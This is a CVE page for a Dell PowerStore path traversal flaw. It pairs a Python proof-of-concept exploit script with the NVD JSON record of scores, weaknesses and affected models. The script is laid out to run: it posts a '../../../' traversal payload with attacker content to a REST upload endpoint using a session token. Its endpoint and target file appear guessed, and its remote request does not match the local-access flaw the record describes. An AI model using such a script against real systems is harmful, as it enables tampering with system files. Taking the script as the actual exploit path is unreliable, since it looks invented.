CVE-2026-28265

# Proof of Concept (PoC) for CVE-2026-28265 # This script demonstrates the concept of path traversal. # Requires local access and low-privilege service user credentials. import requests import sys # Target URL (Example) TARGET_URL = "https://<powerstore-ip>/api/rest/service_file_upload" # Malicious payload using path traversal to escape the intended directory # Attempting to write to a system configuration file TRAVERSAL_PAYLOAD = "../../../etc/config/system_settings.conf" def exploit(ip, session_token): headers = { "Authorization": f"Bearer {session_token}", "Content-Type": "application/json" } # Data structure simulating the vulnerable request data = { "file_path": TRAVERSAL_PAYLOAD, "content": "# Malicious configuration added by attacker" } try: print(f"[*] Attempting path traversal on {ip}...") response = requests.post(TARGET_URL.replace("<powerstore-ip>", ip), json=data, headers=headers, verify=False) if response.status_code == 200: print("[+] Success! File potentially modified.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_ip> <session_token>") else: exploit(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2026-28265", "sourceIdentifier": "[email protected]", "published": "2026-04-01T08:16:05.490", "lastModified": "2026-04-02T20:43:17.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PowerStore, contains a Path Traversal vulnerability in the Service user. A low privileged attacker with local access could potentially exploit this vulnerability, leading to modification of arbitrary system files."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-35"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:powerstoreos:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.0.0-2692403", "matchCriteriaId": "6ACE53EA-9063-407A-BA59-B18F4362A201"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_1000t:-:*:*:*:*:*:*:*", "matchCriteriaId": "FD5BE2B0-BB56-4E6C-8818-26910B23CE31"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_1200t:-:*:*:*:*:*:*:*", "matchCriteriaId": "AB965674-7EBA-437E-A13B-39BC3F3FE139"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_3000t:-:*:*:*:*:*:*:*", "matchCriteriaId": "861B5BE7-159A-41FF-9658-D243051CAC88"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_3200q:-:*:*:*:*:*:*:*", "matchCriteriaId": "8456D5B0-3D6A-4020-B693-D949EE2BA12E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_3200t:-:*:*:*:*:*:*:*", "matchCriteriaId": "E0A29ED1-5CE6-4D49-A079-7F4E6D782DE1"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_5000t:-:*:*:*:*:*:*:*", "matchCriteriaId": "2D5EE934-AD08-4C2B-B3EA-878975EE825E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_500t:-:*:*:*:*:*:*:*", "matchCriteriaId": "6B529671-71A1-428C-BC17-C8E002222FEA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_5200q:-:*:*:*:*:*:*:*", "matchCriteriaId": "B7CD86DB-77F8-45C8-848C-DD9DE9DA966D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_5200t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F0FCFFD4-A989-4AF3-99DF-32AE2547D9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_7000t:-:*:*:*:*:*:*:*", "matchCriteriaId": "37E8CD6E-65F4-48A0-B796-93E4EE51BD06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_9000t:-:*:*:*:*:*:*:*", "matchCriteriaId": "D9BB1B88-C9C0-4B08-84C6-279C79E34CD3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:dell:powerstore_9200t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F90EFCBC-F720-4426-8043-EB1489820C22"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000444169/dsa-2026-157-dell-powerstore-t-security-update-for-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}